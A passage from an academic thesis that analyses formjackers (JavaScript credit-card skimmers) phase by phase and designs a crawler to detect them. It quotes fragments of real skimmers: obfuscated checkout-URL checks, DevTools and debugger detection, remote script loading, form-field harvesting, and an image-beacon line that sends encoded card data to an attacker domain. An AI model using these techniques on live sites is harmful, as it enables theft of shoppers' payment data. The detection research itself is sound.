back­end and front­end initialization (sections 4.3 and 4.4), data extraction (section 4.5), and data
exfiltration (section 4.6). From these behavioral descriptions, we will distill a set of requirements that
stipulate how to elicit malicious behavior in formjackers. We will build upon these requirements to
create a detection solution for formjackers in chapter 5.

4.1. Introduction
Figure 4.1 illustrates the concept ‘formjacker’ on a high level. When a user visits a website and enters
some personal information into the page, the formjacker is the metaphorical looking glass that a mali­
cious third party could use to obtain access to that information. It may do so by ‘hijacking’ the form on
the page, hence the name.

serverclient

third party

Figure 4.1: A high­level illustration of the concept ‘formjacker’. Icons adapted from [31, 78].

More formally, we define a formjacker as follows:

Definition 1 (formjacker) A formjacker is the code that, in the interaction with a website, is responsible
for the illegitimate transmission of personal data to a third party.

A formjacker may target various types of information, such as passwords or credit card data. For
this analysis, we will focus on credit card theft in e­commerce, but a very similar analysis could be made
for other types of information theft.

We introduce five phases to capture the behavior of formjackers. The first step we will consider
in section 4.2 is the compromise: how a formjacker is introduced in the interaction from a user with a
website. Then there follow two initialization phases in sections 4.3 and 4.4, one for the back­end and
one for the front­end. Personal data is then retrieved in the data extraction phase (section 4.5) and it
is transmitted in the data exfiltration phase (section 4.6).
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The process of formjacking may be regarded as the online equivalent of credit card skimming. As
such it is sometimes also referred to as ‘JavaScript skimming’ or ‘JavaScript sniffing’. We will, however,
consider skimming to be a part of the formjacking process, as illustrated in fig. 4.2. Skimming then refers
to the ‘core’ component of the formjacker, performing data extraction and exfiltration. A formjacker may
have a front­end and a back­end component, both of which may contain a skimming component.

formjacker

front-end

formjacker

back-end

formjacker

front-end

skimmer

back-end

skimmer

Figure 4.2: Description of the used terminology for the different components of a formjacker. Icons adapted from [78].

4.2. Compromise
In the compromise phase, the formjacker is introduced into the communication of the user with the
webserver. As illustrated in fig. 4.3, either one of the two endpoints, or ‘the network’ in between, has
to be compromised. This includes malware on the user’s device or router, or a malicious Internet
Service Provider (ISP). We will refer to this class of formjackers as ‘externally injected’: as in outside
the intended communication between the user and the webserver. This kind of injection has been
observed in the wild, for example for cryptojackers [7].

serverclient "network"

back-endfront-end
application

set of

pages

specific

page

all

pages

first party

third party

example.com

code.jquery.com

Figure 4.3: Components of an example web application that may be compromised. Icons adapted from [78].

The most common notion of a formjacker, however, is one that is introduced because the webserver
is compromised. It may be the first party web server hosting the website, or one of its third­party
suppliers. To give an example, such a third party could be a popular content delivery network (CDN)
hosting a widely used JavaScript library. Compromising that library would entail a ’supply chain attack’.
This is an interesting attack for malicious actors because of the wide reach of such a CDN.

If the formjacker is introduced at the first party server, it may be introduced at some point in time, or
it may have been included in the ‘installation’ of the website. For example, because a rogue template
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was used to construct the website. If a web server is initially ’clean’ and breached later, this change
could be used to detect the introduced formjacker. As we have seen in section 3.1 prior work has relied
on this method.

If the webserver is compromised, it may be the back­end, the front­end, or both. A back­end form­
jacker would not have to be visible from the user’s point of view. Its transaction with a malicious back­
end could be exactly the same as with a non­malicious one, with the exception being that any data
transmitted to the legitimate back­end is also transmitted to a malicious third party. As noted in chap­
ter 3, such back­end formjackers have been observed in the wild, for example [17]. Here the formjacker
is a modified PHP script that listens in on network traffic: HTTP POST messages are encrypted and
stored for later retrieval.

Both back­end and externally injected formjackers would, in general, stay invisible to us. As it is
therefore not possible to perform a quantitative evaluation of these formjackers on the web, we will
consider them out of scope.

If however the front­end is compromised, the formjacker would be running, at least partially, on the
user’s side. This is something that we could monitor. It might be that the formjacker is only attached
to a specific page, such as the checkout page on which the payment details are entered. Therefore, a
detection solution should satisfy the following requirement:

Requirement 1 Visit the right page.

Alternatively, not one, but a range of pages, or the whole website, could be compromised.

4.3. Back­end Initialization
After having introduced the formjacker into the benign application, we consider the execution of the
(optional) back­end component of the formjacker. We define this phase, the back­end initialization, as
the phase in which the back­end component of the formjacker executes and responds to a request from
the client. As depicted in fig. 4.4, we consider two things. First, changes made to the back­end that
determine if the client will be served a front­end formjacker component. And second, changes made
to the front­end that determine what kind of formjacker will be served.

back-end
initialization

front-end back-end

detection
evasion

past present

JS HTML

cookie referrer ... URL platform

Figure 4.4: Back­end initialization phase: functional breakdown.

4.3.1. Back­end Changes
As noted before, we will assume the skimming component of the formjacker executes on the client­
side. The role of the back­end is therefore limited, and we identify just one role the back­end may
have: detection evasion. This back­end detection evasion means the formjacker may actively try to
avoid being detected by someone visiting the website. In practice, this means we are concerned with
one measure: whether the visible part of the formjacker, its front­end, will be served or not. Here, the
goal of the malicious actor is to limit exposure of this malicious payload.
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We distinguish two categories of checks that the back­end may perform before serving the (front­
end) formjacker: those on the past of the visiting user and those on its present. The HTTP header
fields ‘cookie’ and ’referrer’, for example, could tell the formjacker something about the past of the
user. Checks on the referrer have been observed in the wild: the formjacker described by Vastel [103],
for example, returns an empty skimmer script if the referrer field is empty. Setting the referrer to the URL
of the checkout page, on the other hand, returns a working one. This is an effective way for a malicious
actor to only expose the formjacker on pages where that may be useful. These HTTP header field­
based detection methods are easy to implement, and a formjacker detection solution should at least
be able to pass checks on them.

The requested URL and information about the user’s platform, such as the user agent, tell the
formjacker something about the user’s present. If this is in any way ‘abnormal’, for example, because
the visitor appears to be automated, a formjacker may refrain from serving its client­side component. In
general, this is an involved topic, and we will limit ourselves to noting that the detection solution should,
ideally, behave as much as possible as a normal web browser. As such, we formulate the following
requirement:

Requirement 2 Satisfy server­side checks on HTTP header fields and normal web browser behavior.

4.3.2. Front­end Changes
To introduce a client­side skimmer to the front­end of the application, a malicious actor may either make
‘static ’ changes by updating the HTML of the page, or ‘dynamic’ ones by changing the accompanying
JavaScript.

JavaScript
Client­side JavaScript has direct access to the page’s content and any data entered into the page. As
such it offers a powerful vector to obtain and exfiltrate credit card data. A malicious attacker could
either change the context of existing scripts or introduce new JavaScript by changing the HTML of the
page using one of the following methods:

1. Add a script tag. For example:
<script src=”formjacker.js”></script>

2. (Re)define event listeners using attributes as ’onchange’. For example:
<input onchange=”console.log(event.target.value)”>

Although JavaScript in script tags is automatically executed by the browser, these ’statically’ at­
tached event listeners are not. Tomake sure that this possibly malicious code is executed, we formulate
the following requirement:

Requirement 3 Fire statically attached event listeners.

The dynamic behavior of a client­side formjacker constructed in JavaScript may be sufficiently com­
plex that we identify three additional phases to describe its behavior: front­end initialization, data ex­
traction, and data exfiltration. These phases are discussed in sections 4.4 to 4.6.

HTML
Then, we identify three changes that may be made to the page’s DOM that do not (directly) involve
JavaScript, but could also be used to extract and exfiltrate credit card data from the page:

1. (Re)define the target URL of a form (its ’action’). For example:
<form action=”/malicious­back­end.php”></form>

This technique is somewhat obtrusive because it disturbs the normal (payment) information flow
from legitimate front­end to legitimate back­end. It would either no longer submit the data to the correct
back­end, or if the action was not defined before it would at least introduce a redirection that was not
initially there. We, therefore, consider this theoretical formjacking technique out of scope.

Finally, there are two methods to introduce new content:
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2. Load an iframe with a third­party malicious form. For example:
<iframe src=”http://malicious.example”></iframe>

3. Redirect to a different domain, hosting a malicious form. For example:
<meta http­equiv=”Refresh” content=”0; URL=http://malicious.example”>

Skimming using these methods would not directly involve the original website. Risking detection,
it would seem unlikely that formjackers would disturb the original payment using one of these meth­
ods. Two examples show, however, that this is not entirely true. The formjacker that was found on
Tupperware’s website [90], loaded the skimmer from a third­party inside an iframe. The first time the
user entered their details the skimmer would kick in, steal the data, throw an error and reload the page
to include the original payment form to allow the user to perform an actual payment. Additionally, the
‘Braintree’ formjacker [77], replaced the iframe from the legitimate payment provider with their own
iframe, completing the payment “themselves”, allowing the payment to go through the first time the
user tried to perform a payment. As such, we formulate the following requirement:

Requirement 4 Follow redirects and monitor content in iframes.

4.4. Front­end Initialization
In the front­end initialization phase, any attacker­controlled client­side JavaScript executes. When
a user visits a formjacker infected website, navigates to the right page, and passes any server­site
checks, it may be served a (front­end) formjacker in the form of some JavaScript. This bit of JavaScript
may perform some ‘initialization’. As shown in fig. 4.5, we identify four different types: either the script
performs these steps immediately, or it first ‘binds’ itself to the page to asynchronously continue later.
Then, it may try to perform evasion detection, it may dynamically load or generate new JavaScript and
finally, it may make the front­end changes just mentioned in the back­end initialization phase (sec­
tion 4.3.2), dynamically, at the front­end.

front-end
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detection
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script load

front-end
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binding

verify
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anti-debugging
setTimeout/
setInterval
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mutationObserver

past present

storage referrer
script

content
URL platform

debugger,
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Figure 4.5: Front­end initialization phase: behavioral breakdown.

4.4.1. Detection Evasion
We identify two types of detection evasion: anti­debugging techniques and verifying the execution
context to avoid execution when it is not needed or when it is ‘dangerous’.

Verifying Execution Context
Execution may not be needed because the script is executed on a page that does not contain any useful
information, or it may be dangerous because the script may be evaluated in some kind of analysis
environment.
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For the script to verify its execution context it may look at ‘the past’ and ’the present’. The referrer
may tell it the previous page the user was on and storage methods, such as cookies, may include more
details on the user’s past behavior. For example, that data exfiltration has already succeeded and the
formjacker does not have to try again.

Regarding information on the execution context in the present, we distinguish the script’s integrity,
the current URL, the platform, and the presence of a debugger or development tools (DevTools). To
verify its integrity the script may look at its own content. In the following example [9], part of the de­
cryption process depends on the content of the script. Changing the formatting of the script, or adding
some debugging code would break the functionality of the formjacker, making it harder to manually
analyze:
function ATMZOW() {

/* ... */
var J8TRBF = ATMZOW.toString().split(/\(| | |\n|\r|;|}|{|\)/).join(””).length.toString().

split(””);
/* decrypt using J8TRBF */
/* ... */

}

The formjacker may also verify the current URL. A common strategy seems to be to include the
skimmer on all pages, and dynamically check whether the formjacker is being executed on the targeted
page(s). The ‘spaghetti skimmer’ [87], for example, contains the following snippet to verify that the
current URL (location.href) is the checkout page:
// deobfuscated: indexOf(”checkout/onepage”)
if (window.location.href.indexOf(window.atob(”Y2hlY2tvdXQvb25lcGFnZQ==”)) > 0) {

// ...
}

Then, a formjacker could try to identify the type of platform it is being executed on, as this could
indicate whether it safe to continue execution. It would be relevant, for example, to know whether the
platform is a full­fledged browser, or some analysis framework. An example of such a check in the wild
looks as follows [10]:
function isBrowser() {

var f = [[null, ”atob”], /* ... */];
for(var i = 0; i < f.length; i++) {

if(f[i][0] === null) {
if(typeof window[f[i][1]] !== ”function”) {

return false;
}

}
/* ... */

}
return true;

}

This formjacker containing this check would terminate early if executed outside the browser with
Node.js [33], as ’atob’ is not defined by default. Alternatively, if a full­fledged browser is running, a
formjacker may try to detect whether a debugger or development tools are running, indicating that it is
not being executed by a “normal” web user, but maybe a security analyst. An example of such a check
is [18], which when cleaned­up and deobfuscated [88] contains:
function isDocked() {

var screenSmallerThanEditor = (window.outerWidth ­ window.innerWidth) > 160;
var mostOfDocumentIsFloat = (window.outerHeight ­ window.innerHeight) > 160;
if (window.Firebug && window.Firebug.chrome && window.Firebug.chrome.isInitialized ||

screenSmallerThanEditor || mostOfDocumentIsFloat) {
return true;

}
return false;

}

This method tries to detect a development tools window using its size, as well as the presence of
implementation­specific variables for the (deprecated) Firebug web development extension for Firefox
[32]. Because a formjacker detection solution should stay undetected by formjackers, we formulate the
following requirement:

Requirement 5 Satisfy client­side execution context checks.
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Anti­debugging Techniques
Closely related to the detection of development tools are techniques to make debugging more difficult.
An example is this formjacker [85] that disables the console loggers:
// override with empty function
console.log = function () { };

Similarly, formjackers have been shown to clean up their modifications to the page [47]. These
techniques are aimed at manual analysis. For an automated detection solution, as discussed here,
they are deemed irrelevant.

4.4.2. Dynamic Script Load
The formjacker may dynamically load additional JavaScript. It may do so, either by dynamically gen­
erating code or by loading an external script resource. This includes deobfuscation and formjackers
that load their core functionality after verifying the execution context. This formjacker [86], for example,
loads the actual credit card skimmer (‘widget.js’) after verifying that it is on the right page:
// check current URL
if((new RegExp(”onepage|checkout|(...)|onepagecheckout”)).test(window.location))) {

// dynamically create script resource
var z2 = document.createElement(”script”);
var e2 = ”//mcdnn.net/122002/assets/js/widget.js”;
z2.setAttribute(”src”, e2)
z2.setAttribute(”id”, ”cloud”)

// fetch script resource
document.getElementsByTagName(”head”).item(0).appendChild(z2);

}

4.4.3. Binding
Then, as noted, the formjacker may bind itself to the page to continue asynchronously. The spaghetti
skimmer, for example, attaches multiple callbacks:
if (window.location.href.indexOf(window.atob(”Y2hlY2tvdXQvb25lcGFnZQ==”)) > 0) {

var checkFirst = setInterval(function () {
// read various input fields

}, 300);

var checkSecond = setInterval(function () {
// read additional fields and transmit data

}, 1000)
}

One can do this based on time as above, but also at specific events. The (deobfuscated) ‘shoe shop’
formjacker [89], for example, adds an event listener to all links on the page. Clicking a link triggers data
extraction:
var links = document[’getElementsByTagName’](’a’);
for (i = 0; i < links[’length’]; i++) {

links[i][’addEventListener’](’click’, function () {
// traverse nodes and store values

})
}

Finally, changes to the DOM tree could theoretically also be used as a trigger. Therefore:

Requirement 6 Fire dynamically attached time, event, and DOM change­based callbacks.

4.5. Data Extraction
In the data extraction phase, the formjacker retrieves the data entered into the page. Optionally it may
process the data to assist the data exfiltration process. A behavioral breakdown of this phase is given
in fig. 4.6. Depending on the type of trigger for this phase, the formjacker may access the targeted data
in different ways. We discuss event data, event target, and querying the DOM separately.
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Figure 4.6: Data Extraction phase: behavioral breakdown.

Event Data
The triggered event may give direct access to the targeted data. To this best of our knowledge, this is
only the case for input and keyboard events. For example:
inputElement.addEventListener(’input’, function (event) {

console.log(event.data);
});

Event Target
Any event triggered on an element has a reference to that element: its target. For input­like elements
the formjacker can use that reference to access their value. For example:
inputElement.addEventListener(’input’, function (event) {

console.log(event.target.value);
});

The keyword ‘this’ may also refer to the target element. Event data, event target and ‘this’ give us
the following requirement:

Requirement 7 Fire events with an event object that includes references to the event’s target, and its
data, if applicable.

Querying the DOM
In other cases the formjacker can explicitly query the elements it is looking for. Having obtained a
target reference, it can obtain that element’s value. In the case of a payment page this should include
the input, textarea and select elements. For simplicity, we will refer to these elements as ‘input­like’.
An interesting example is the shoe shop formjacker, which traverses down the DOM tree with multiple
queries. Simplified, the formjacker does:
var forms = document[’getElementsByTagName’](’form’);
for (z = 0; z < forms[’length’]; z++) {

var inputs = forms[z][’getElementsByTagName’](’input’);
for (x = 0; x < inputs[’length’]; x++) {

// read and store input field value
}

}

This means that the page may have to include a nested structure of elements for the formjacker to
succeed. Furthermore, the formjacker may try to validate the retrieved data. For example by checking
whether the given value constitutes a valid credit card number. The spaghetti formjacker does a simple
check on the length of the retrieved data:
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if (parmezan(spaghetti[’cc’]).length >= 15 && parmezan(spaghetti[’cvv’]).length >= 3) {
// exfiltrate data

}

We capture the dependence on the structure of the DOM elements and the validity of the included
data in the following requirement:

Requirement 8 Include a structured set of DOM elements with corresponding data on the page that
matches the expectations of the formjacker.

Furthermore, the formjacker may pack the data in a format suitable for exfiltration. And finally, the
data might be stored or directly passed on to data exfiltration. The spaghetti formjacker does something
along the lines of:
// re­pack retrieved credit card data
var penne = {

...spaghetti,

...rusultato
};
// add information about the client
var withHostInfo = aggiuntivo(penne);
// stringify object
var stringified = JSON.stringify(withHostInfo);
// encode string
var encoded = cifrario(stringified);

4.6. Data Exfiltration

data exfiltration

WebSocket HTTP

Figure 4.7: Data Exfiltration phase: behavioral breakdown.

Finally, in the exfiltration phase, the formjacker transmits the obtained data. The data may be
collected at the back­end component of the formjacker, which we will refer to as ‘first­party data ex­
filtration’. Alternatively, the extracted data may be transmitted to a domain other than the target, or
first­party, domain, which we define as ‘third­party data exfiltration’.

To perform data exfiltration, the formjacker will have to establish a network connection. The appli­
cation can use either HTTP or a WebSocket, as illustrated in fig. 4.7. The spaghetti formjacker, for
instance, creates an HTTP connection by adding a practically invisible image to the page. When the
browser tries to retrieve this image, the data that is encoded in the URL is exfiltrated:
var img = document.createElement(’img’);
img.src = ”https://vk­a6t5h7f3k.site/p.php?id=” + cifrario(JSON.stringify(aggiuntivo(penne)))
img.height = 1;
img.width = 1;
document.body.append(img);

The shoe shop formjacker does something similar. But in general, there are many ways for a bit of
JavaScript to establish a connection to a third party. We distinguish three categories:

1. Explicit: the page may explicitly set up a connection using fetch, XMLHttpRequest, WebSocket,
and EventSource.

2. Resource injection: the page may inject a resource and set the src property for a wide variety of
elements, such as image, script, link, and iframe.

3. Redirect: one could redirect the page using the action attribute of forms or using the window
attribute location. This method is not transparent (i.e. obtrusive) for the user of the application
and we deem it unlikely to be used.

Regardless of the method, the presence of a connection, as well as the transmitted data could be
used to detect the formjacker.
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Summary of Requirements

Requirement 1 Visit the right page.

Requirement 2 Satisfy server­side checks on HTTP header fields and normal web browser behavior.

Requirement 3 Fire statically attached event listeners.

Requirement 4 Follow redirects and monitor content in iframes.

Requirement 5 Satisfy client­side execution context checks.

Requirement 6 Fire dynamically attached time, event, and DOM change­based callbacks.

Requirement 7 Fire events with an event object that includes references to the event’s target, and its data,
if applicable.

Requirement 8 Include a structured set of DOM elements with corresponding data on the page that
matches the expectations of the formjacker.

Figure 4.8: Summary of requirements that must be satisfied to elicit malicious behavior in formjackers.

4.7. Conclusion
Concluding, a formjacker detection solution that is able to elicit malicious behavior in formjackers should
satisfy a certain set of requirements. These requirements are summarized in fig. 4.8, and effectively
mean the following: to make sure that the front­end component of the formjacker is served, the right
page must be visited and server­side checks against the client must be satisfied. Then, to make sure
that the formjacker does not terminate prematurely, also client­side checks against the client must be
satisfied. And finally, for successful data extraction and exfiltration, the right elements and data on the
page must be included, and any asynchronous components of the formjacker must be executed.
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Implementation

This chapter introduces a dynamic formjacking detection solution in the form of a web crawler. Where
chapter 4 answered research question 1 (‘eliciting malicious behavior’) from a theoretical perspective,
we will now evaluate what the resulting requirements mean in practice. The developed detection solu­
tion will be used to answer research question 2 (‘feasibility of dynamic analysis’) in chapter 7.

The required components for the detection solution are introduced step­by­step. We will summarize
the requirements in section 5.1 and consider the high­level components of the solution in section 5.2.
This includes choosing a concrete platform, a browser, and a driver because subsequent implementa­
tion details partially depend on this choice. In sections 5.3 and 5.4 we discuss, in two parts, a major
component in eliciting malicious behavior: payment page simulation. Then, in section 5.5, we introduce
’formjacker triggering’. The last building block, the instrumentation that is required to record and detect
formjackers, will be covered in section 5.6. Finally, these building blocks come together in the system’s
architecture which is discussed in section 5.7.

5.1. Requirements
Our goal is to build a tool that is able to scan websites for the presence of formjackers at scale. Con­
cretely, the detection solution should satisfy the following requirements:

1. Elicit malicious behavior : given the prerequisite of dynamic analysis, the detection solution should
elicit malicious behavior in formjackers, therefore adhering to the requirements as formulated in
chapter 4.

2. Generate a dynamic analysis report: as we wish to detect formjackers, the detection solution
should generate a dynamic analysis report from which the presence of a formjacker may be
inferred.

Finally, given our research goal to provide a means to conduct large­scale surveys, we will optimize
for a solution with as little overhead as possible.

5.2. High­Level Design
On the highest level of abstraction, we consider three variables that determine the to be implemented
concept: the type of instrumentation (in­band versus out­of­band), the navigation strategy, and the
platform on which to implement the detection solution.

5.2.1. Type of Instrumentation
In section 3.6 the case of in­band versus out­of­band modifications to perform instrumentation was
raised. This work proposes a solution that requires instrumentation that conceptually operates in­band,
at the level of JavaScript and the DOM. This instrumentation is, therefore, easier to conceptualize and
implement in­band, especially because it involves active modification and spoofing. Choosing in­band
over out­of­band means that we are making a trade­off at the cost of stealthiness. For other issues
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that are raised regarding an in­band implementation, such as iframes and policy limits, workarounds
are implemented.

In­band, we identify three methods: prototype patching, ‘debugger based’, and source code rewrit­
ing. With prototype patching, native functions are overridden with an instrumented variant. Because
this has to be done only once per page load, runtime overhead is limited. Because the patches are
applied in­band, implementation is easy and flexible. It is also the reason that hostile JavaScript may
be able to detect the instrumentation.

With debugger­based instrumentation, strategic breakpoints are placed on to be monitored func­
tions. Because the fundamental idea is to pause the execution, this method comes with significant
overhead. It has been successfully applied to monitor common third parties on the web and their API
usage [26], although using timing­based debugger detection strategies (section 5.3.3), debugger­based
instrumentation may be detected.

Finally, source code rewriting offers full control over the script’s content and thus extensive free­
dom in instrumentation. A major drawback, too, is stealthiness. Integrity checks, a detection evasion
technique used in formjackers (see section 4.4), on a script’s content, will fail. In addition, source code
rewriting is an involved process. Every script on a webpage has to be rewritten, increasing overhead,
and sufficient syntax has to be supported.

Because a debugger­based approach is slow and source code rewriting is more complicated, we
will, in general, resort to prototype patching. Where applicable, it will be noted if any of the other two
methods may be better suited.

5.2.2. Navigation Strategy
The most straightforward method to satisfy the behavioral requirements would be to navigate to the
page that is targeted by the formjacker. In e­commerce that would be the ‘payment page’, the page
where payment details are entered. Typically, this would involve the following steps: visit the website
under investigation, identify a product or service and visit its page, add it to the shopping cart and
click ‘checkout’. Best case, this procedure will directly lead to the payment page (in the case of a ‘one
step checkout’). If not, personal information may have to be supplied first. Worst case, an account
is required. These steps may be sprinkled with additional pop­ups, CAPTCHAs, or other interactive
components. Additionally, support would be required across various languages.

Apart from its complexity, this approach would also be (unnecessarily) slow: navigating and inter­
acting with multiple pages per website. If feasible at all, this approach seems at least unsuited for a
wide­scale survey of formjackers. As an alternative, we propose a solution to trick formjackers into
thinking any page on the website is the payment page. To achieve this, we simulate the payment page
on another page of the website using a procedure similar to HoneyPages [55]. As a result, instead of
a complex and slow procedure, a single page load suffices. Payment page simulation is detailed in
sections 5.3 and 5.4.

Unfortunately, this trade­off means that requirement 1 (‘visit the right page’) will not always be fully
fulfilled. The issue is that the front­end component of the formjacker may only be served if the payment
page itself is explicitly requested. This would be the case if, for instance, the credit card skimmer is
included in resources that are only part of the payment page. In that case, we are not ‘visiting the right
page’.

As a compromise, we target the shopping cart page of a webshop. This page is typically directly
available, in contrast to the payment page. We target the cart page by visiting the typical path ‘/check­
out/cart’. It is not a problem if this location is unavailable, as a 404 ‘PageNot Found’ page in combination
with payment page simulation should generally be sufficient.

5.2.3. Platform
Given requirement 2 to behave like a ‘normal’ web browser, we limit ourselves to automation solutions
that are able to drive a full­fledged web browser. There are two major open source web browsers:
Chromium and Firefox and academic work reviewed in chapter 3 has used solutions based on both.
For example, OpenWPM [29] that uses the automation framework Selenium to drive Firefox to detect
fingerprinters on the web. And, for example, MiningHunter [82] that drives Chromium through the
Chrome DevTools Protocol to detect cryptojackers. The authors of MiningHunter, Rauchberger et al.,
explicitly prefer the DevTools Protocol, because “its interface offers a deeper low­level integration than
other browser automation frameworks” [82, p. 4].
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We first compare Firefox with Chromium. After choosing a specific browser, we choose a driver
that appears most convenient. For comparing the browsers we use the Selenium WebDriver [1], as it
supports both. We randomly select a set of 250 websites from the Alexa Top 1 Million and visit their
home page. We wait for the ‘load’ on the page to be fired and take and store a screenshot to simulate
a small workload. Both browsers run ‘headless’, i.e. without a Graphical User Interface. Two browser
instances crawl at the same time to include the influence running multiple instances at once may have.
Finally, slow connections are terminated early, with a timeout of 15 seconds. Based on the results in
fig. 5.1 we conclude that Chromium is faster (23%) and uses less memory (30%) at a slightly lower
CPU utilization (on average 15% versus 18%). With the short timeout of 15 seconds, about 10% of the
visits failed (33 and 23 respectively). We, therefore, choose to use Chromium for our implementation.
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Figure 5.1: CPU and memory usage of Firefox 81.0.2 and Chromium 86.0.4240.75 in an automated crawl of a random selection
of 250 websites. System utilization is sampled at 10 Hz. To improve readability, CPU usage has been averaged with a moving
window of 10 seconds.

Instead of using Selenium, we switch to the Chrome DevTools Protocol [38] that indeed allows a
very low­level interaction with the browser. For example, the protocol allows one to inject scripts that
are evaluated before any of the website’s scripts. This enables us to modify the page as we see fit.
Convenient, because requirement 8 requires us to include elements and data on the page. Selenium
does not appear to have such a feature.

Instead of working directly with the protocol, we build upon Puppeteer [80] that creates a convenient
higher level of abstraction on top of it. If that is necessary, the protocol itself can still be accessed.

5.3. Payment Page Simulation: Detection Evasion
Requirements 2 and 5 regarding the need to satisfy front­end and back­end checks effectively boil
down to two things. First, make sure the front­end part of the formjacker is served by satisfying server­
side detection evasion techniques. And second, bypass any client­side detection evasion techniques to
elicit malicious behavior, supporting dynamic analysis. We implement these requirements by simulating
a payment page. We discuss spoofing the URL, setting the right HTTP header fields, and bypassing
debugger checks.
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5.3.1. URL
As noted, we visit the cart page of a website. We wish to spoof the URL of the current page, such
that to a formjacker it appears to be the payment page. There are at least three ways to do so. First,
by changing unused parts of the URL. Second, by instrumenting the methods used to investigate the
URL. And third, by spoofing the URL itself.

Scheme
First, one may abuse (probably) unused parts of the URL scheme to include an additional string in the
URL. As an example, we can bypass the check in the ‘spaghetti skimmer’ by appending a fragment
string:
// visit example.com/checkout/cart#checkout/onepage
window.location.href.indexOf(”checkout/onepage”) > 0
> true

Although a neat hack, the path remains incorrect. That means that there are many checks that may
be performed on the URL that will not pass.

Spoofing Location
A neater option would be if we could spoof the location property. As Jueckstock and Kapravelos [52]
note, the location property is marked ‘Unforgeable’ in the Chromium source code and by default cannot
be instrumented using prototype patching. As a solution, we make a small modification to Chromium’s
source code. The file ‘window.idl’ [40] specifies the Window interface and includes the specification of
the location attribute:
[Affects=Nothing, PutForwards=href, Unforgeable, CrossOrigin=(Getter,Setter), Custom=Getter]

readonly attribute Location location;

Removing the flag ‘Unforgeable’ and recompiling Chromium is sufficient to allow us to spoof all URL
attributes, such as the pathname. A disadvantage of this method is that it requires a priori knowledge
of the URL targeted by the formjacker.

Prototype Patching
As an alternative, native functions such as indexOf may be instrumented (using ‘prototype patching’):
// instrument indexOf
String.prototype.indexOf = function() { return 1 }

// visit example.com/checkout/cart
window.location.href.indexOf(”checkout/onepage”) > 0
> true

The advantage of this approach is that it works on any part of the URL, for example, its path. This
approach is also not perfect. The spoofed value is probably wrong and the technique may be evaded
by avoiding the instrumented API. For example:
window.location.pathname === ’checkout/onepage’
> false

Implementation
Because no method is perfect we opt for a hybrid implementation. We choose to spoof the location
property with a default target that seems to appear frequently (‘checkout/onepage’). Then, to partly
resolve the ‘a priori’ problem, we additionally instrument the following native functions:
String.prototype: ’includes’, ’endsWith’, ’startsWith’, ’indexOf’, ’lastIndexOf’
RegExp.prototype: ’test’,

Because the spoofed value is most likely wrong, the value is only spoofed when this appears to be
really necessary. First, we only spoof on ‘substring checks’ on URL­related strings. And second, we
only spoof if the substring (or pattern) indicates a check for the payment page. We imagine the latter
may be useful if the formjacker blacklists specific pages. For example:
// ignore the cart page
if (!(window.location.href.indexOf(’checkout/cart’)) { /* ... */ }
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We identify possible payment page checks by compiling a list of substrings that are checked in
some known formjackers, summarizing them in a case­insensitive regex: /osc|checkout|onepage
/i. This includes at least the following targets:

firecheckout osc awesomecheckout onestepcheckout
onepagecheckout checkout oscheckout idecheckoutvm
fancycheckout onepage

There are other properties, aside from ‘window.location’, that could give a formjacker information
on the URL of the current page. These methods are not instrumented. If queried, spoofing solely relies
on method 3.

5.3.2. Storage and HTTP Header Fields
Each page will be visited in an isolated environment, such that cookies or other forms of storage do
not influence our measurements. To give an example, the same formjacker may be loaded from the
same domain, on two different webshops. Shared cookies could indicate a successful data exfiltration
attempt on one webshop and lead to early termination of the formjacker on the other.

Additionally, relevant HTTP header fields will be set to plausible defaults. The user­agent is set to
Chromium’s default when it is not driven by an automation framework. As we assume that formjackers
are platform­agnostic (e.g. desktop versus mobile), any ’normal’ user­agent should suffice. Finally,
because we are simulating the payment page, we will spoof the referrer, our ’previous location’, to be
the typical checkout location ’/checkout/onepage’.

5.3.3. Debugger and DevTools
Debugger or Development Tools detection resorts to various ‘side­channels’ that may give away their
presence. This section investigates known methods and discusses their relevance to our implementa­
tion.

Screen Size
One method to detect the usage of DevTools is to detect the development window itself. As shown in
chapter 4, it is used with malicious intent in formjackers to prevent detection. It is, however, also used
for benign applications. Chat application Discord, for example, uses it to detect when a user may have
opened the development console [24]. A warning is then emitted regarding the possible dangers of
using the console, see fig. 5.2.

Figure 5.2: Chat application Discord warning users of the dangers of the development console.

This DevTools detection technique forms the basis for one of the more popular libraries able to
detect DevTools [93] and is based on the following four properties:
window.[outerWidth, outerHeight, innerWidth, innerHeight]

Opening a development window as in fig. 5.2, creates a difference between the ‘innerWidth’ and
‘outerWidth’ properties, making it possible to infer its presence. In our implementation, the development
window is left unopened, but because the browser is running headless (“windowless”), the value of
these properties may be ill­defined. We add a test case to verify that this detection method is not
accidentally triggered.
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Logging an Object
Instead of detecting the development window, another trick detects the development console by using
the fact that the console is not a ‘passive’ output. When an object is logged to the console, the browser
may helpfully display the object and its properties. It actively interacts with the given object if the console
window is opened, but, probably as an optimization, does not when it is closed. The technique works
as follows [99]:
let devtools = new Image();
Object.defineProperty(devtools, ’id’, {
get: function() {
this.opened = true;

}
});
console.dir(devtools);
if (devtools.opened) {

// devtools detected
}

The technique allows for small modifications, such as changing the object that is instantiated or
defining another property. A different approach uses toString to a similar effect [100], but experiments
with a modern version of Chromium1 shows that this variant is no longer functional.

To make sure this method does not trigger in combination with our implementation, we instruct
Puppeteer to leave the DevTools window closed. Surprisingly, at the time of writing, ‘stock’ Puppeteer
triggers this test, even when we do so. As a solution, we override console.log and variants to ignore
non­primitive values, which cannot be abused in a similar manner.

Timing
A third approach uses timing to detect the presence of a debugger. There are various variants. The
first uses the fact that by default the debugger will pause on the debugger statement. This technique
has been observed in formjackers [61, p. 17] and looks something like this:
let t0 = (new Date).getTime();
debugger;
let t1 = (new Date).getTime();

if (t1 ­ t0 > threshold) {
// devtools detected

}

Because our implementation depends on the debugger (see section 5.6), we resort to instructing
the debugger to not pause anywhere. An alternative approach would have been to send an instruction
to continue (‘Debugger.resume’) when the debugger pauses. This would allow us to log the presence
of debugger statements, which could be used as an indicator for malicious behavior. It also adds a
small, but detectable, delay (typically 15 to 90 ms). As such, we opt for the first method.

Other approaches that have been suggested includemeasuring the time it takes to perform a certain
task, such as clearing the console [42] and injecting nodes into the DOM [41]. Another approach detects
whether resources are being cached by the browser or not [28]. These methods may have worked well
in the past, but at the time of writing were respectively not working, not reliable, and not applicable for
our implementation.

Source Maps
Browsers support the use of ‘source maps’ that allow the browser to map a minified script to its, much
more readable, original version. Minification is used to reduce the size of scripts, for example in pro­
duction. Source maps are intended to help web developers in debugging them.

As Weizman [106] notes, however, these source maps might allow detecting the presence of De­
vTools, as the source maps are only fetched when the DevTools are opened. A malicious actor may
